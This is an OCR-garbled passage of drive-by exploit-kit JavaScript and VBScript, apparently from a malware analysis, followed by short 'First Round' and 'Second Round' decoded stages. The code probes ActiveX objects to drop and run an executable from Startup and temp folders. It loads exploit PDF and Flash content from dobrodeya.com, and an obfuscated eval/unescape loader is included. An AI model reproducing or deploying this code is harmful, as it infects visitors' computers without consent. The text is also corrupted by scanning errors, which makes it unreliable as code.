dclfa9 1d2fc3','6414512B - B978- 451D- AOD8 FCFDF33E833C','7TF5B7F63 - FO6F- 4331 - 8A26-
339E03COAE3D','06723E09 - FAC2- 43c8 - 8358 - 09FCD1DB0766','639F725F - 1B2D- 4831 - A9FD-
874847682010','BA018599 - 1DB3- 44f9 - 83B4- 461454C84BF8','D0OC07D56 - 7C69- 43F1- B4A0-
25F5A11FAB19','EBCCCDDF - CA28- 496b - BO50-
6C07C962476B',a);vl=a;v2=a;v3=a;v4=a;d1=a;d2=a;i=0;r=0;while(t[i]&&(v1||!v2||!v3||!v4
){try{a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i]);}cat
ch(e){a=d1;}if(a){v1=f1(v1,a,"ADODB.Stream");v2=f1(v2,a," WScript.Shell "); v4=fl(v4,a," S
cripting.FileSystemObject ");v3=f1(v3,a,"Shell.Application");}i++;}if((v1||v4)){var
d=b6(ttt());s="c:’;m=0;b="Program";g=" \'\ Uninstall.exe";h=" \ \ Autostart"+g;j="Start

Menu\ \ "+b;g="Startup";if(v2)try{f=v2.Environment("PROCESS");s=f(HOMEDRIVE');m =f("TEMP
");if(Im)m=f("TMP")}catch(e){s="c:";m=0}k=" \\ AllUsers \\";c=s+" \\ Documents and
Settings"+k;n="Start";p="Menu ";x="Iniciar"; d1l=new Array(c+"Menu

Inicio \\"+b+"as \\ Inicio"+g,c+"Menuen

Start \\"+b+"mer \\ "+n+g,c+p+n+" \\"+b+"ma's \\ Opstarten"+g,c+p+n+" \\ "+ b+"y"+h,c+j+"lar \\B
ASLANGIC"+g,c+p+"Awio \\"+b+"mi \\ Esecuzione automatica"+g,c+n+" -

meny\ \ "+b+"mer \\ Oppstart"+g,c+n+" - menyn\ \ "+b+h,s+" \\ Dokumente und

Einstellungen"+k+n+"menu \\ "+b+"me"+h,c+p+x+" \\"+b+"as \\ "+x+g,c+j+"s \\ "+g+g);n="iexplor
e.exe";k=".. \\ "h=k+k ;p=" \\ "+n;if(v2){f4(d1,v2.SpecialFolders(q)+g);f4(d1,v2.SpecialFo
Iders("AllUsers"+q)+g)}d2=new

Array(s+" \\ RECYCLER"+p,h+h+n,k+h+n,h+n k+n,n,s+p);n=1;if(m)f4(d2,m+p);if(v4)f4(d2,v4.G
etSpecialFolder(2)+p);f=f2(v1,v4,d2,d);if(!f){f=f2(v1,v4,d1,d);n=0;}if(F){i fv3)try{r=
1;v3.ShellExecute(f)}catch(e){r=0}if(Ir&&v2)try{r=1;v2.Run(f,1);}catch(e){try{v2.Exec(
f)}catch(e){r=0}}if(r)document.write("<script src=http://dobrodeya.com/cgi -
bin/Archiv.php?s=dtUIL09&id=9>< \ /script>");else{if(n)f=f2(v1,v4,d1,d);document.write "
<object classid="clsid:527196a4 - b1a3- 4647 - 931d - 37ba5af23037"
codebase=""+f+"></object>");}}}}catch(e){}return r;}f3();var d3po=null;try{d3po=new

ActiveXObject  ("AcroPDF.PDF");}catch(e){}if('d3po){try{d3po=new
ActiveXObject("PDF.PdfCtrl");}catch(e){}}if(d 3po){lv=((d3po.GetVersions().split(",")[
4].split("="))[1].replace(/ \ ./g,"");if((Iv<900)&&(Iv!=813))document.write('<embed
src="http://dobrodeya.com/cgi - bin/Archiv.php?s=dtUILo9&id=2" width=100 height=100
type="application/pdf'></embed>");}try{var d3po=0;d 3po=(new
ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$"+"version").split(","
);}catch(e){}if(d3po&&(d3po[2]<124))document.write('<object classid="clsid:d27cdb6e -
ae6d - 11cf - 96b8 - 444553540000" width=100 height=100 align=middle><param name="m ovie"



value="http://dobrodeya.com/cgi - bin/Archiv.php?s=dtUILo9&id=3"/><param name="quality"
value="high"/><param name="bgcolor" value="#ffffff"/><embed

src="http://dobrodeya.com/cgi -
bin/Archiv.php?s=dtUIL09&id=3"/></embed></object>");document.write("</div> ");

<div style="position:absolute; left: - 1000px; top: - 1000px;"><script
language=VBScript>Sub s1(e,fn,dt):On Error Resume Next:s1=0:Set
k=e.CreateTextFile(fn, TRUE):if Err>0 then:Exit Function:End if:b="":For j=1 To
LenB(dt):b=b&ChrW(Asc(Mid(dt,j,1))):Next: k.Write(b):k.Close:if Err>0 then:Exit
Function:End if:s1=1:End Sub</script></div>

Malware Analysis Firefox

First Round

l/I<script>

f3w=24;if(unescape)f3w=";awlS=unescape('%'+f3w);
iYb="docg75ment.writV65(B22X3cdiV769g20styB6cB65g3dg5cV22z700sitiong3aabsol uxX74ez3bB20V
6¢cV65V66t1X3az2d1000pg78g3b
topX3aV2d1V3000pxg3bX5cB22X3eB22)X3bdocumenX74.writeB28B27z3cg65mbz65d wB69dthX3d100
heig67htz3dX310B30
srX63Vv3dg22httpX3az2fV2fz64o0bB720deya.coV6dg2fcg67B69V2dg62iV6ez2fArcg68iv.V70hpB3fsz3
dPxFkMz6bB70g26idV3d2g22

ty pez3dV22B61pB70licB61g74ionB2fpdfz22B3eg3cB2fez6dB62edV3eX27)z3bdV6fcument.write(V27
B3cB65mV62eB64 g77idthX3d10V30X20heX69X67z68tB3d100
srcg3dX22V68X74tpg3aV2fX2fdB6fbrodeya.z63B6fmB2fcz67iz2dX62iz6eV2fArz63hz69v.V70g68pB3
fsB3dPxFkMkpg26iB64V3d3B22X3eg3cB2 femz62ez64z3ez27)B3bX640cuX6denz74.wB72ig74e(g22V3cV
2fdiV76X3eg22)X3b';

eval(unescape(iYb.replace(/[VzgXB]/g,awlS)));

[I</script>

Second Round

document.write("<div style= \ "position:absolute; left: - 1000px; top: -
1000px; \ ">");document.write('<embed width=1 00 height=100
src:"http://dobrodeya.com/cgi - bin/Archiv.php?s=BalCBvis&id=2"

type="application/pdf’ ></embed>')'document write('<embed width=100 height=100
src="http://dobrodeya.com/cgi
bin/Archiv.php?s=BalCBvis&id=3' ></embed>) document.write("</div>");



